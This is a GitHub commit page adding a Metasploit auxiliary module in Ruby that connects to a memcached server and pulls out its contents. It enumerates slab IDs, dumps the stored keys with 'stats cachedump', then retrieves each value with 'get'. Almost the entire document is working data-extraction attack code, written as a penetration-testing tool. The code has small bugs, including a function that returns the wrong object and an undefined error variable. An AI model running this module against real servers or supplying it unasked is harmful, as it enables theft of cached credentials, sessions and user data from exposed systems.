Skip to content

Commit 99cf668

Browse files
committed
add memcached extractor module
1 parent 327f283 commit 99cf668

File tree

1 file changed

+92
-0
lines changed

1 file changed

+92
-0
lines changed
Lines changed: 92 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
include Msf::Exploit::Remote::Tcp
10+
include Msf::Auxiliary::Report
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'Memcached Extractor',
15+
'Description' => %q(
16+
This module extracts the slabs from a memcached instance. It then
17+
finds the keys and values stored in those slabs.
18+
),
19+
'Author' => [ 'Paul Deardorff <paul_deardorff[at]rapid7.com>' ],
20+
'License' => MSF_LICENSE
21+
))
22+
23+
register_options(
24+
[
25+
Opt::RPORT(11211)
26+
], self.class)
27+
end
28+
29+
# Returns array of keys for all slabs
30+
def enumerate_keys
31+
keys = []
32+
enumerate_slab_ids.each do |sid|
33+
sock.send("stats cachedump #{sid} 100\r\n", 0)
34+
data = sock.recv(4096)
35+
matches = /^ITEM (?<key>.*) \[/.match(data)
36+
keys << matches[:key] if matches
37+
end
38+
keys
39+
end
40+
41+
# Returns array of slab ids as strings
42+
def enumerate_slab_ids
43+
sock.send("stats slabs\r\n", 0)
44+
slab_ids = []
45+
loop do
46+
data = sock.recv(4096)
47+
break if !data || data.length == 0
48+
matches = data.scan(/^STAT (?<slab_id>(\d)*):/)
49+
slab_ids << matches
50+
break if data =~ /^END/
51+
end
52+
slab_ids.flatten!
53+
slab_ids.uniq!
54+
end
55+
56+
def data_for_keys(keys = [])
57+
all_data = {}
58+
keys.each do |key|
59+
sock.send("get #{key}\r\n", 0)
60+
data = []
61+
loop do
62+
data_part = sock.recv(4096)
63+
break if !data_part || data_part.length == 0
64+
data << data_part
65+
break if data_part =~ /^END/
66+
end
67+
all_data[key] = data
68+
end
69+
end
70+
71+
def determine_version
72+
sock.send("stats\r\n", 0)
73+
stats = sock.recv(4096)
74+
matches = /^STAT (?<version>version (\.|\d)*)/.match(stats)
75+
matches[:version] || 'unkown version'
76+
end
77+
78+
def run
79+
print_status("#{rhost}:#{rport} - Connecting to memcached server...")
80+
if connect
81+
print_good("Connected to memcached #{determine_version}")
82+
keys = enumerate_keys
83+
print_good("Found #{keys.size} keys")
84+
data = data_for_keys(keys)
85+
#store_loot('memcached.dump', 'text/plain', datastore['RHOST'], data, 'memcached.text', 'Memcached extractor')
86+
#print_good("Loot stored!")
87+
else
88+
print_error("Could not connect to memcached server! #{e}")
89+
return
90+
end
91+
end
92+
end

0 commit comments

Comments
 (0)